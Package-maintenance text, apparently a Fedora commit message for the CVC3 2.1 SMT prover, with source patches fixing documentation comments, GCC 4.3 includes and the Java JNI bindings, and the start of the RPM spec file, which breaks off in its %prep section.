+++ cvc3-2.1/src/include/vc.h	2009-10-19 10:13:12.772197964 -0600
@@ -28,9 +28,7 @@
 #include "formula_value.h"
 
 /*****************************************************************************/
-/*!
- *\defgroup Note Note that this list of modules is very incomplete
- *\brief Note that this list of modules is very incomplete
+/*! Note that this list of modules is very incomplete
  */
 /*****************************************************************************/
 
@@ -750,10 +748,10 @@
 
   //! Set triggers for quantifier instantiation
   /*!
-   * \param e is the expression for which triggers are being set.  \param
-   * Each item in triggers is a vector of Expr containing one or more
-   * patterns.  A pattern is a term or Atomic predicate sub-expression of
-   * e.  A vector containing more than one pattern is treated as a
+   * \param e the expression for which triggers are being set
+   * \param triggers Each item in triggers is a vector of Expr containing one
+   * or more patterns.  A pattern is a term or Atomic predicate sub-expression
+   * of e.  A vector containing more than one pattern is treated as a
    * multi-trigger.  Patterns will be matched in the order they occur in
    * the vector.
   */
diff -dur cvc3-2.1.ORIG/src/sat/sat_proof.h cvc3-2.1/src/sat/sat_proof.h
--- cvc3-2.1.ORIG/src/sat/sat_proof.h	2008-04-03 22:18:32.000000000 -0600
+++ cvc3-2.1/src/sat/sat_proof.h	2009-10-19 10:13:12.773204281 -0600
@@ -1,6 +1,6 @@
 /*****************************************************************************/
 /*!
- *\file minisat_proof.h
+ *\file sat_proof.h
  *\brief Sat solver proof representation
  *
  * Author: Alexander Fuchs
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp cvc3-2.1/src/theory_arith/theory_arith3.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith3.cpp	2009-10-19 10:13:12.775109510 -0600
@@ -421,7 +421,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp cvc3-2.1/src/theory_arith/theory_arith_new.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_new.cpp	2009-10-19 10:13:12.777233052 -0600
@@ -320,7 +320,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers. 
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp cvc3-2.1/src/theory_arith/theory_arith_old.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_old.cpp	2009-10-19 10:13:12.781233049 -0600
@@ -436,7 +436,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-15 19:23:59.000000000 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-19 10:13:12.785232967 -0600
@@ -479,7 +479,7 @@
 
   //if both MSBs are constants, then we can optimize the output.  we
   //know precisely the value of the signed comparison in cases where
-  //topbit of e0 and e1 are constants. e.g. |-1 at t0 < 0 at t1 is clearly
+  //topbit of e0 and e1 are constants. e.g. |-1\@t0 < 0\@t1 is clearly
   //|-TRUE.
 
   //-1 indicates that both topBits are not known to be BVCONSTS
@@ -1009,9 +1009,9 @@
 }
 
 
-// Input: x: a_0 @ ... @ a_n,
+// Input: x: a_0 \@ ... \@ a_n,
 //        i: bitposition
-// Output |- BOOLEXTRACT(a_0 @ ... @ a_n, i) <=> BOOLEXTRACT(a_j, k)
+// Output |- BOOLEXTRACT(a_0 \@ ... \@ a_n, i) <=> BOOLEXTRACT(a_j, k)
 //        where j and k are determined by structure of CONCAT
 Theorem BitvectorTheoremProducer::bitExtractConcatenation(const Expr & x,
 							  int i)
@@ -1939,7 +1939,7 @@
 }
 
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::leftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1963,7 +1963,7 @@
   return newRWTheorem(e, res, Assumptions::emptyAssump(), pf);
 }
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::constWidthLeftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1996,7 +1996,7 @@
 }
 
 
-//! t>>m = 0bin00...00 @ t[bvLength-1:m], takes e == (t>>n)
+//! t>>m = 0bin00...00 \@ t[bvLength-1:m], takes e == (t>>n)
 Theorem BitvectorTheoremProducer::rightShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     CHECK_SOUND(e.getOpKind() == RIGHTSHIFT && e.arity() == 1,
@@ -2028,7 +2028,7 @@
 }
 
 
-//! BVSHL(t,c) = t[n-c,0] @ 0bin00...00
+//! BVSHL(t,c) = t[n-c,0] \@ 0bin00...00
 Theorem BitvectorTheoremProducer::bvshlToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The second kid must be a constant expression
@@ -2102,7 +2102,7 @@
 }
 
 
-//! BVLSHR(t,c) = 0bin00...00 @ t[n-1,c]
+//! BVLSHR(t,c) = 0bin00...00 \@ t[n-1,c]
 Theorem BitvectorTheoremProducer::bvlshrToConcat(const Expr& e)
 {
   if(CHECK_PROOFS) {
@@ -2265,7 +2265,7 @@
 
 
 //! k*t = BVPLUS(n, <sum of shifts of t>) -- translation of k*t to BVPLUS
-/*! If k = 2^m, return k*t = t at 0...0 */
+/*! If k = 2^m, return k*t = t\@0...0 */
 Theorem BitvectorTheoremProducer::constMultToPlus(const Expr& e) {
   DebugAssert(false,
 	      "BitvectorTheoremProducer::constMultToPlus: this rule does not work\n");
@@ -2459,7 +2459,7 @@
 }
 
 
-//! (t1 @ t2)[i:j] = t1[...] @ t2[...]  (push extraction through concat)
+//! (t1 \@ t2)[i:j] = t1[...] \@ t2[...]  (push extraction through concat)
 Theorem
 BitvectorTheoremProducer::extractConcat(const Expr& e) {
   TRACE("bitvector rules", "extractConcat(", e, ") {");
@@ -2672,7 +2672,7 @@
 }
 
 
-//! ~(t1 at ...@tn) = (~t1)@...@(~tn) -- push negation through concat
+//! ~(t1\@...\@tn) = (~t1)\@...\@(~tn) -- push negation through concat
 Theorem
 BitvectorTheoremProducer::negConcat(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3190,7 +3190,7 @@
 }
 
 
-//! c1 at c2@... at cn = c  (concatenation of constant bitvectors)
+//! c1\@c2\@...\@cn = c  (concatenation of constant bitvectors)
 Theorem BitvectorTheoremProducer::concatConst(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -3211,7 +3211,7 @@
 }
 
 
-//! Flatten one level of nested concatenation, e.g.: x@(y at z)@w = x at y@z at w
+//! Flatten one level of nested concatenation, e.g.: x\@(y\@z)\@w = x\@y\@z\@w
 Theorem
 BitvectorTheoremProducer::concatFlatten(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3233,7 +3233,7 @@
 }
 
 
-//! Merge n-ary concat. of adjacent extractions: x[15:8]@x[7:0] = x[15:0]
+//! Merge n-ary concat. of adjacent extractions: x[15:8]\@x[7:0] = x[15:0]
 Theorem
 BitvectorTheoremProducer::concatMergeExtract(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -4681,7 +4681,7 @@
 }
 
 
-// BVMULT(N, a at b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) @ n-bit-0-string)
+// BVMULT(N, a\@b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) \@ n-bit-0-string)
 // where n = BVSize(b), a != 0, one of a or b is a constant
 Theorem BitvectorTheoremProducer::liftConcatBVMult(const Expr& e)
 {
@@ -4917,7 +4917,7 @@
 }
 
 
-// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])@t
+// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])\@t
 // where n = BVSize(t), and the sum of the lowest n bits of a0..an is exactly
 // equal to t (i.e. no carry)
 Theorem BitvectorTheoremProducer::liftConcatBVPlus(const Expr& e)
@@ -5602,9 +5602,9 @@
 
 // Input: t[hi:lo] = rhs
 // if t appears as leaf in rhs, then:
-//    t[hi:lo] = rhs |- Exists x,y,z. (t = x @ y @ z AND y = rhs), solvedForm = false
+//    t[hi:lo] = rhs |- Exists x,y,z. (t = x \@ y i@ z AND y = rhs), solvedForm = false
 // else
-//    t[hi:lo] = rhs |- Exists x,z. (t = x @ rhs @ z), solvedForm = true
+//    t[hi:lo] = rhs |- Exists x,z. (t = x \@ rhs \@ z), solvedForm = true
 Theorem BitvectorTheoremProducer::processExtract(const Theorem& e, bool& solvedForm)
 {
   Expr expr = e.getExpr();
@@ -6075,7 +6075,7 @@
 }
 
 
-//! BVZEROEXTEND(e, i) = zeroString @ e
+//! BVZEROEXTEND(e, i) = zeroString \@ e
 // where zeroString is a string of i zeroes
 Theorem BitvectorTheoremProducer::zeroExtendRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6103,7 +6103,7 @@
 }
 
 
-//! BVREPEAT(e, i) = e @ e @ ... @ e
+//! BVREPEAT(e, i) = e \@ e \@ ... \@ e
 // where e appears i times on the right
 Theorem BitvectorTheoremProducer::repeatRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6136,7 +6136,7 @@
 }
 
 
-//! BVROTL(e, i) = a[n-i-1:0] @ a[n-1:n-i]
+//! BVROTL(e, i) = a[n-i-1:0] \@ a[n-1:n-i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotlRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6167,7 +6167,7 @@
 }
 
 
-//! BVROTR(e, i) = a[i-1:0] @ a[n-1:i]
+//! BVROTR(e, i) = a[i-1:0] \@ a[n-1:i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotrRule(const Expr& e) {
   if(CHECK_PROOFS) {
diff -dur cvc3-2.1.ORIG/src/theory_core/theory_core.cpp cvc3-2.1/src/theory_core/theory_core.cpp
--- cvc3-2.1.ORIG/src/theory_core/theory_core.cpp	2009-09-30 13:39:06.000000000 -0600
+++ cvc3-2.1/src/theory_core/theory_core.cpp	2009-10-19 10:13:12.788233008 -0600
@@ -3099,7 +3099,7 @@
 }
 
 
-bool TheoryCore::incomplete(vector<string>& reasons)
+bool TheoryCore::incomplete(std::vector<std::string>& reasons)
 {
   if(d_incomplete.size() > 0) {
     for(CDMap<string,bool>::iterator i=d_incomplete.begin(),
diff -dur cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp cvc3-2.1/src/theory_datatype/theory_datatype.cpp
--- cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp	2009-10-05 20:12:41.000000000 -0600
+++ cvc3-2.1/src/theory_datatype/theory_datatype.cpp	2009-10-19 10:13:12.790252403 -0600
@@ -857,10 +857,10 @@
 }
 
 
-Expr TheoryDatatype::dataType(const string& name,
-                              const vector<string>& constructors,
-                              const vector<vector<string> >& selectors,
-                              const vector<vector<Expr> >& types)
+Expr TheoryDatatype::dataType(const std::string& name,
+                              const std::vector<std::string>& constructors,
+                              const std::vector<std::vector<std::string> >& selectors,
+                              const std::vector<std::vector<Expr> >& types)
 {
   vector<string> names;
   vector<vector<string> > constructors2;
@@ -876,10 +876,10 @@
 
 // Elements of types are either the expr from an existing type or a string
 // naming one of the datatypes being defined
-Expr TheoryDatatype::dataType(const vector<string>& names,
-                              const vector<vector<string> >& allConstructors,
-                              const vector<vector<vector<string> > >& allSelectors,
-                              const vector<vector<vector<Expr> > >& allTypes)
+Expr TheoryDatatype::dataType(const std::vector<std::string>& names,
+                              const std::vector<std::vector<std::string> >& allConstructors,
+                              const std::vector<std::vector<std::vector<std::string> > >& allSelectors,
+                              const std::vector<std::vector<std::vector<Expr> > >& allTypes)
 {
   vector<Expr> returnTypes;
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp	2009-10-19 10:13:12.791296402 -0600
@@ -241,6 +241,7 @@
  * subtype predicates for the bound variables of the quanitfied expression.
  * \param t1 is the quantifier (a Theorem)
  * \param terms are the terms to instantiate.
+ * \param quantLevel the quantification level for the formula
  */
 Theorem QuantTheoremProducer::universalInst(const Theorem& t1, const  vector<Expr>& terms, int quantLevel){
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp cvc3-2.1/src/theory_quant/theory_quant.cpp
--- cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp	2009-10-07 00:24:44.000000000 -0600
+++ cvc3-2.1/src/theory_quant/theory_quant.cpp	2009-10-19 10:13:12.795232784 -0600
@@ -2860,7 +2860,7 @@
 }
 
 
-void TheoryQuant::setupTriggers(ExprMap<ExprMap<vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
+void TheoryQuant::setupTriggers(ExprMap<ExprMap<std::vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
 
   //  static std::vector<Expr> libQuant;
   const Expr& e = thm.getExpr();
@@ -4137,7 +4137,7 @@
 }
 
 //match a gterm against all the trigs in d_allmap_trigs
-void TheoryQuant::matchListNew(ExprMap<ExprMap<vector<dynTrig>*>*>& new_trigs,
+void TheoryQuant::matchListNew(ExprMap<ExprMap<std::vector<dynTrig>*>*>& new_trigs,
 			       const CDList<Expr>& glist,
 			       size_t gbegin,
 			       size_t gend){
@@ -7984,7 +7984,7 @@
   d_lastEqsUpdatePos.set(d_eqsUpdate.size());
 }
 
-void TheoryQuant::synCheckSat(ExprMap<ExprMap<vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
+void TheoryQuant::synCheckSat(ExprMap<ExprMap<std::vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
 
   d_allout=false;
 
diff -dur cvc3-2.1.ORIG/src/vcl/vcl.cpp cvc3-2.1/src/vcl/vcl.cpp
--- cvc3-2.1.ORIG/src/vcl/vcl.cpp	2009-10-15 14:29:30.000000000 -0600
+++ cvc3-2.1/src/vcl/vcl.cpp	2009-10-19 10:13:12.798131491 -0600
@@ -775,8 +775,8 @@
 }
 
 
-Type VCL::recordType(const vector<string>& fields,
-		     const vector<Type>& types)
+Type VCL::recordType(const std::vector<std::string>& fields,
+		     const std::vector<Type>& types)
 {
   DebugAssert(fields.size() == types.size(),
 	      "VCL::recordType: number of fields is different \n"
@@ -789,9 +789,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const string& constructor,
-                   const vector<string>& selectors, const vector<Expr>& types)
+Type VCL::dataType(const std::string& name,
+                   const std::string& constructor,
+                   const std::vector<std::string>& selectors,
+                   const std::vector<Expr>& types)
 {
   vector<string> constructors;
   constructors.push_back(constructor);
@@ -806,10 +807,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const vector<string>& constructors,
-                   const vector<vector<string> >& selectors,
-                   const vector<vector<Expr> >& types)
+Type VCL::dataType(const std::string& name,
+                   const std::vector<std::string>& constructors,
+                   const std::vector<std::vector<std::string> >& selectors,
+                   const std::vector<std::vector<Expr> >& types)
 {
   Expr res = d_theoryDatatype->dataType(name, constructors, selectors, types);
   if(d_dump) {
@@ -819,11 +820,11 @@
 }
 
 
-void VCL::dataType(const vector<string>& names,
-                   const vector<vector<string> >& constructors,
-                   const vector<vector<vector<string> > >& selectors,
-                   const vector<vector<vector<Expr> > >& types,
-                   vector<Type>& returnTypes)
+void VCL::dataType(const std::vector<std::string>& names,
+                   const std::vector<std::vector<std::string> >& constructors,
+                   const std::vector<std::vector<std::vector<std::string> > >& selectors,
+                   const std::vector<std::vector<std::vector<Expr> > >& types,
+                   std::vector<Type>& returnTypes)
 {
   Expr res = d_theoryDatatype->dataType(names, constructors, selectors, types);
   if(d_dump) {
@@ -1405,8 +1406,8 @@
 }
 
 
-Expr VCL::recordExpr(const vector<string>& fields,
-		     const vector<Expr>& exprs)
+Expr VCL::recordExpr(const std::vector<std::string>& fields,
+		     const std::vector<Expr>& exprs)
 {
   DebugAssert(fields.size() > 0, "VCL::recordExpr()");
   DebugAssert(fields.size() == exprs.size(),"VCL::recordExpr()");
@@ -2107,7 +2108,7 @@
 }
 
 
-bool VCL::incomplete(vector<string>& reasons) {
+bool VCL::incomplete(std::vector<std::string>& reasons) {
   // TODO: add to interactive interface
   // Return true only after a failed query
   return (d_lastQuery.isNull() && d_theoryCore->incomplete(reasons));

cvc3-gcc4.patch:
 include/command_line_exception.h                |    2 +-
 include/memory_manager_context.h                |    1 +
 include/sound_exception.h                       |    2 +-
 theory_arith/arith_exception.h                  |    2 +-
 theory_bitvector/bitvector_theorem_producer.cpp |    1 +
 util/debug.cpp                                  |    1 +
 util/rational-gmp.cpp                           |    1 +
 7 files changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE cvc3-gcc4.patch ---
diff -dur cvc3-2.1.ORIG/src/include/command_line_exception.h cvc3-2.1/src/include/command_line_exception.h
--- cvc3-2.1.ORIG/src/include/command_line_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/command_line_exception.h	2009-10-16 09:34:46.141974605 -0600
@@ -31,7 +31,7 @@
   // Constructors
   CLException() { }
   CLException(const std::string& msg): Exception(msg) { }
-  CLException(char* msg): Exception(msg) { }
+  CLException(const char* msg): Exception(msg) { }
   // Destructor
   virtual ~CLException() { }
   // Printing the message
diff -dur cvc3-2.1.ORIG/src/include/memory_manager_context.h cvc3-2.1/src/include/memory_manager_context.h
--- cvc3-2.1.ORIG/src/include/memory_manager_context.h	2009-04-10 14:38:25.000000000 -0600
+++ cvc3-2.1/src/include/memory_manager_context.h	2009-10-16 09:34:46.141974605 -0600
@@ -21,6 +21,7 @@
 #ifndef _cvc3__include__memory_manager_context_h
 #define _cvc3__include__memory_manager_context_h
 
+#include <cstdlib>
 #include <vector>
 #include "memory_manager.h"
 
diff -dur cvc3-2.1.ORIG/src/include/sound_exception.h cvc3-2.1/src/include/sound_exception.h
--- cvc3-2.1.ORIG/src/include/sound_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/sound_exception.h	2009-10-16 09:34:46.142839030 -0600
@@ -33,7 +33,7 @@
     // Constructors
     SoundException() { }
     SoundException(const std::string& msg): Exception(msg) { }
-    SoundException(char* msg): Exception(msg) { }
+    SoundException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~SoundException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_arith/arith_exception.h cvc3-2.1/src/theory_arith/arith_exception.h
--- cvc3-2.1.ORIG/src/theory_arith/arith_exception.h	2006-08-09 15:19:31.000000000 -0600
+++ cvc3-2.1/src/theory_arith/arith_exception.h	2009-10-16 09:35:47.378849519 -0600
@@ -35,7 +35,7 @@
     // Constructors
     ArithException() { }
     ArithException(const std::string& msg): Exception(msg) { }
-    ArithException(char* msg): Exception(msg) { }
+    ArithException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~ArithException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:34:37.696911611 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:36:54.411809170 -0600
@@ -28,6 +28,7 @@
 // This code is trusted
 #define _CVC3_TRUSTED_
 
+#include <cstdio>
 #include "bitvector_theorem_producer.h"
 #include "common_proof_rules.h"
 #include "theory_core.h"
diff -dur cvc3-2.1.ORIG/src/util/debug.cpp cvc3-2.1/src/util/debug.cpp
--- cvc3-2.1.ORIG/src/util/debug.cpp	2009-03-03 10:31:33.000000000 -0700
+++ cvc3-2.1/src/util/debug.cpp	2009-10-16 09:34:46.144161887 -0600
@@ -19,6 +19,7 @@
  */
 /*****************************************************************************/
 
+#include <cstdlib>
 #include <fstream>
 #include <stdlib.h>
 
diff -dur cvc3-2.1.ORIG/src/util/rational-gmp.cpp cvc3-2.1/src/util/rational-gmp.cpp
--- cvc3-2.1.ORIG/src/util/rational-gmp.cpp	2008-11-14 13:49:11.000000000 -0700
+++ cvc3-2.1/src/util/rational-gmp.cpp	2009-10-16 09:34:46.145125371 -0600
@@ -24,6 +24,7 @@
 #include "compat_hash_set.h"
 #include "rational.h"
 
+#include <climits>
 #include <sstream>
 #include <gmp.h>
 #include <limits.h>

cvc3-java.patch:
 include/cvc3/JniUtils.h           |    4 ++--
 src/cvc3/JniUtils.cpp             |    5 ++++-
 src/cvc3/ValidityChecker_impl.cpp |    4 ++--
 3 files changed, 8 insertions(+), 5 deletions(-)

--- NEW FILE cvc3-java.patch ---
diff -dur cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h cvc3-2.1/java/include/cvc3/JniUtils.h
--- cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h	2008-12-12 15:48:14.000000000 -0700
+++ cvc3-2.1/java/include/cvc3/JniUtils.h	2009-10-19 11:22:57.817991587 -0600
@@ -168,7 +168,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_copy<T>(env, v[i]));
     }
 
@@ -182,7 +182,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_const_ref<T>(env, &v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp cvc3-2.1/java/src/cvc3/JniUtils.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp	2008-10-01 12:35:31.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/JniUtils.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -74,6 +74,9 @@
     case PRESENTATION_LANG: return toJava(env, "PRESENTATION");
     case SMTLIB_LANG: return toJava(env, "SMTLIB");
     case LISP_LANG: return toJava(env, "LISP");
+    case AST_LANG: return toJava(env, "AST");
+    case SIMPLIFY_LANG: return toJava(env, "SIMPLIFY");
+    case TPTP_LANG: return toJava(env, "TPTP");
     }
     
     DebugAssert(false, "JniUtils::toJava(InputLanguage): unreachable");
@@ -155,7 +158,7 @@
 	env->FindClass("java/lang/String"),
 	env->NewStringUTF(""));
 
-    for(int i = 0; i < v.size(); ++i) {
+    for(unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, toJava(env, v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp	2009-09-30 12:54:35.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -584,11 +584,11 @@
 return embed_copy(env, vc->forallExpr(vars, *body));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniForallExpr2
-jobject m ValidityChecker vc cv Expr vars c Expr body cv Expr triggers
+jobject m ValidityChecker vc cv Expr vars c Expr body cvv Expr triggers
 return embed_copy(env, vc->forallExpr(vars, *body, triggers));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniSetTriggers
-void m ValidityChecker vc c Expr closure cv Expr triggers
+void m ValidityChecker vc c Expr closure cvv Expr triggers
 vc->setTriggers(*closure, triggers);
 
 DEFINITION: Java_cvc3_ValidityChecker_jniExistsExpr


--- NEW FILE cvc3.spec ---
# If the emacs-el package has installed a pkgconfig file, use that to determine
# install locations and Emacs version at build time, otherwise set defaults.
%if %($(pkg-config emacs) ; echo $?)
%define emacs_version 22.1
%define emacs_lispdir %{_datadir}/emacs/site-lisp
%else
%define emacs_version %(pkg-config emacs --modversion)
%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
%endif

# If the xemacs-devel package has installed a pkgconfig file, use that to
# determine install locations and Emacs version at build time, otherwise set
# defaults.
%if %($(pkg-config xemacs) ; echo $?)
%define xemacs_version 21.5
%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
%else
%define xemacs_version %(pkg-config xemacs --modversion)
%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
%endif

Name:           cvc3
Version:        2.1
Release:        2%{?dist}
Summary:        Validity checker of many-sorted first-order formulas with theories

Group:          Applications/Engineering
License:        BSD
URL:            http://www.cs.nyu.edu/acsys/cvc3/
Source:         http://www.cs.nyu.edu/acsys/cvc3/download/%{version}/cvc3-%{version}.tar.gz
# Override compiler flag selection so that $RPM_OPT_FLAGS will take effect.
# Submitted upstream June 2008.
Patch0:         cvc3-build.patch
# Fix a few problems in the doxygen documentation.
# Submitted upstream June 2008, with an update in August 2008.
Patch1:         cvc3-doc.patch
# GCC 4.3+ uses a streamlined header architecture, so more includes are needed.
# This patch was last submitted upstream on 16 Oct 2009.
Patch2:         cvc3-gcc4.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# Fix Java build problems.  This patch was last sent upstream on 19 Oct 2009.
Patch3:         cvc3-java.patch

BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
Requires:       gnu-free-sans-fonts

%description
CVC3 is an automatic theorem prover for Satisfiability Modulo Theories (SMT)
problems.  It can be used to prove the validity (or, dually, the
satisfiability) of first-order formulas in a large number of built-in logical
theories and their combination.

CVC3 is the latest offspring of a series of popular SMT provers, which
originated at Stanford University with the SVC system.  In particular, it
builds on the code base of CVC Lite, its most recent predecessor.  Its high
level design follows that of the Sammy prover.

CVC3 works with a version of first-order logic with polymorphic types and has
a wide variety of features including:

 * several built-in base theories: rational and integer linear arithmetic,
   arrays, tuples, records, inductive data types, bit vectors, and equality
   over uninterpreted function symbols;
 * support for quantifiers;
 * an interactive text-based interface;
 * a rich C and C++ API for embedding in other systems;
 * proof and model generation abilities;
 * predicate subtyping;
 * essentially no limit on its use for research or commercial purposes (see
   license).

For example, if you run 'cvc3 +interactive' and submit:
  i, j: INT; ASSERT i = j + 1; QUERY i>j;
it will determine "Valid."  If you then ask:
  QUERY i<j; COUNTERMODEL;
it will determine "Invalid." and show an example demonstrating when the formula
is not true (e.g., i = 0 and j = -1).

%package devel
Group:          Development/Libraries
Summary:        Header files for development with CVC3
Requires:       %{name} = %{version}-%{release}

%description devel
Header files need to develop with CVC3.

%package doc
Group:          Documentation
Summary:        API documentation for CVC3
Requires:       %{name} = %{version}-%{release}

%description doc
API documentation for CVC3.

%package java
Group:          Development/Libraries/Java
Summary:        Java interface for CVC3
Requires:       %{name} = %{version}-%{release}, java, jpackage-utils

%description java
Java interface for CVC3.

%package emacs
Group:          Applications/Engineering
Summary:        Compiled Emacs mode for CVC3
Requires:       emacs(bin) >= %{emacs_version}
Requires:       %{name} = %{version}-%{release}

%description emacs
This package contains the byte compiled CVC3 mode for Emacs.

%package emacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 Emacs mode
Requires:       %{name} = %{version}-%{release}

%description emacs-el
This package contains the source Elisp files for the CVC3 mode for Emacs.  You
do not need to install this package to run %{name}.  Install the %{name}-emacs
package to use %{name} with Emacs.

%package xemacs
Group:          Applications/Engineering
Summary:        Compiled XEmacs mode for CVC3
Requires:       xemacs(bin) >= %{xemacs_version}
Requires:       %{name} = %{version}-%{release}

%description xemacs
This package contains the byte compiled CVC3 mode for XEmacs.

%package xemacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 XEmacs mode
Requires:       %{name} = %{version}-%{release}

%description xemacs-el
This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
do not need to install this package to run %{name}.  Install the %{name}-xemacs
package to use %{name} with XEmacs.

%prep
%setup -q
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

# We can't use loadLibrary, since the JNI libaries are not in a standard place
sed -i \
